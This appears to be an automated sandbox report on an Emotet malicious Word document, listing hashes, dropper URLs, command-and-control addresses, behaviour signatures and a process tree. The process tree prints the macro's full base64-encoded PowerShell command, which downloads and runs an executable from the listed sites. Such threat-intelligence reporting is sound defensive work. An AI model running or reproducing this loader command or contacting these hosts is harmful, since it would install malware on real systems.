Analysis

  • max time kernel
    59s
  • max time network
    88s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    18/08/2020, 21:07

General

  • Target
    emotet_e3_ff3c41f2ea2fa79d736c368f49f9841957ba7c0ddd8f16e6402e0db14c3f002e_2020-08-18__210604._doc.doc
  • Size 176KB
  • Sample200818-a7avsmc3ls
  • SHA256 ff3c41f2ea2fa79d736c368f49f9841957ba7c0ddd8f16e6402e0db14c3f002e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://bomacargo.id/bomacargo.id/wkdaILRRX/

  • exe.dropper

    https://humido.pl/wp-includes/XvlAFTYy/

  • exe.dropper

    https://gpmrglobal.com/08.07.2020/xVhK6le0e58169/

  • exe.dropper

    http://maticshosting.info/wp/8FEjm2v11576/

  • exe.dropper

    http://shobdomela.com/sjwt9/glzfny3k0366/

Extracted

Family
  • emotet

C2
  • 112.78.142.170:80

  • 178.128.14.92:8080

  • 178.238.232.46:443

  • 185.142.236.163:443

  • 192.210.217.94:8080

  • 192.241.220.183:8080

  • 105.209.235.113:8080

  • 182.187.139.200:8080

  • 188.0.135.237:80

  • 201.213.177.139:80

  • 31.146.61.34:80

  • 202.5.47.71:80

  • 81.17.93.134:80

  • 192.163.221.191:8080

  • 97.104.107.190:80

  • 201.235.10.215:80

  • 181.114.114.203:80

  • 51.38.201.19:7080

  • 46.32.229.152:8080

  • 177.144.130.105:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_ff3c41f2ea2fa79d736c368f49f9841957ba7c0ddd8f16e6402e0db14c3f002e_2020-08-18__210604._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:388
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABEAGgAXwBfAG8AegBtAD0AKAAnAFkAJwArACcANgBqAG0AJwArACcAagBqAGQAJwApADsAJgAoACcAbgBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAFYAOgBUAEUATQBwAFwAbwBmAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQBSAEkAVABZAGAAcAByAGAAbwBUAG8AQwBPAEwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACcAMQAnACsAJwAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAgACcAKwAnAHQAbABzACcAKQA7ACQAVwBkAHEANgBvADUANQAgAD0AIAAoACcAVQAnACsAJwB0AG4AdwA3ACcAKwAnAGgAJwApADsAJABIAG0AbQB3AGYAZgBqAD0AKAAnAEYAbgAnACsAJwAxACcAKwAnAF8AZwB6AHIAJwApADsAJABBAHMAaABrADkAeABoAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBEACcAKwAnAEUANABPAGYAZgBpACcAKwAnAGMAJwArACcAZQAnACsAJwAyADAAMQA5AEQARQA0ACcAKQAuACIAcgBFAGAAcABMAEEAYwBFACIAKAAnAEQARQA0ACcALAAnAFwAJwApACkAKwAkAFcAZABxADYAbwA1ADUAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEkAZgBoAG0AYwBvADcAPQAoACcAUAAnACsAJwBhAGoAYgAnACsAJwA3AHIAaQAnACkAOwAkAFcAawBhAG4AZABkAHMAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAYwBsAEkARQBOAHQAOwAkAFkAdQBuAHIAagB3AGUAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvAGIAbwBtACcAKwAnAGEAYwBhACcAKwAnAHIAJwArACcAZwBvAC4AaQBkACcAKwAnAC8AYgBvAG0AYQBjAGEAcgBnAG8ALgBpAGQALwB3AGsAJwArACcAZABhAEkATABSAFIAWAAvACoAaAB0AHQAcABzADoAJwArACcALwAvAGgAdQBtAGkAZABvAC4AcABsAC8AdwBwAC0AaQBuACcAKwAnAGMAbAB1AGQAZQBzAC8AWAB2AGwAQQBGAFQAWQB5AC8AJwArACcAKgBoAHQAdABwAHMAOgAvACcAKwAnAC8AJwArACcAZwBwACcAKwAnAG0AcgBnAGwAbwBiAGEAbAAuAGMAbwBtAC8AMAAnACsAJwA4AC4AMAA3AC4AMgAwADIAMAAnACsAJwAvAHgAVgBoAEsANgBsAGUAMABlADUAOAAxACcAKwAnADYAJwArACcAOQAnACsAJwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAJwArACcAdABpAGMAcwBoAG8AJwArACcAcwB0AGkAbgAnACsAJwBnAC4AaQAnACsAJwBuAGYAbwAvACcAKwAnAHcAcAAvADgARgBFACcAKwAnAGoAbQAyACcAKwAnAHYAMQAxACcAKwAnADUANwA2AC8AKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAHMAaABvAGIAJwArACcAZABvACcAKwAnAG0AZQBsAGEALgBjAG8AbQAvAHMAJwArACcAagB3AHQAOQAvAGcAbAB6AGYAbgAnACsAJwB5ADMAawAwADMANgA2AC8AJwApAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgAdQAxAHgAYwBjAGcAPQAoACcAUgAnACsAJwByAGIAXwB0AGsAJwArACcAOAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAGgAMQBlAG8AegByACAAaQBuACAAJABZAHUAbgByAGoAdwBlACkAewB0AHIAeQB7ACQAVwBrAGEAbgBkAGQAcwAuACIARABgAE8AdwBOAGAAbABPAEEARABgAEYASQBMAGUAIgAoACQAQgBoADEAZQBvAHoAcgAsACAAJABBAHMAaABrADkAeABoACkAOwAkAEkAcABhAHEAeQA3AHYAPQAoACcATQB1AGIAZgA4ACcAKwAnAGkAcgAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAQQBzAGgAawA5AHgAaAApAC4AIgBsAGAAZQBOAEcAVABIACIAIAAtAGcAZQAgADMANAA0ADQANAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABBAHMAaABrADkAeABoACkAOwAkAFAAYwB4AF8ANQBiAGoAPQAoACcASwB5ACcAKwAnAHcAbgA4AGoAbAAnACkAOwBiAHIAZQBhAGsAOwAkAFQAMQBxAHEANABxAGIAPQAoACcAVgBnACcAKwAnAHMAYQAnACsAJwBhADkAcQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkANgA5AGkAagB0AHMAPQAoACcAVABxACcAKwAnAGsAaABfACcAKwAnAHQAdgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Utnw7h.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Utnw7h.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1856
      • C:\Windows\SysWOW64\api-ms-win-crt-runtime-l1-1-0\iesetup.exe
        "C:\Windows\SysWOW64\api-ms-win-crt-runtime-l1-1-0\iesetup.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1640

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/388-4-0x0000000006D00000-0x0000000006F00000-memory.dmp

        memory/388-5-0x000000000ACF0000-0x000000000ACF4000-memory.dmp

        memory/388-6-0x000000000BD70000-0x000000000BD74000-memory.dmp

        memory/388-2-0x0000000008850000-0x0000000008854000-memory.dmp

        memory/1640-22-0x00000000005D0000-0x00000000005DC000-memory.dmp

        memory/1856-18-0x00000000003A0000-0x00000000003AC000-memory.dmp

        memory/1888-9-0x000007FEF1E90000-0x000007FEF287C000-memory.dmp

        memory/1888-15-0x000000001B700000-0x000000001B701000-memory.dmp

        memory/1888-14-0x000000001B670000-0x000000001B671000-memory.dmp

        memory/1888-13-0x0000000002570000-0x0000000002571000-memory.dmp

        memory/1888-12-0x0000000002390000-0x0000000002391000-memory.dmp

        memory/1888-11-0x000000001AA80000-0x000000001AA81000-memory.dmp

        memory/1888-10-0x0000000002530000-0x0000000002531000-memory.dmp

        memory/2004-23-0x000007FEF25B0000-0x000007FEF282A000-memory.dmp